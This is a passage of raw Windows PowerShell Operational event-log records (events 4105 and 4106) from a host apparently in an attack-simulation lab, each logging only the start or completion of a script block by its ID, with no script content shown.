SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044956
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044954
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044939
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044938
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044937
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044936
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044934
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044920
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044919
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044914
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044913
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044908
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
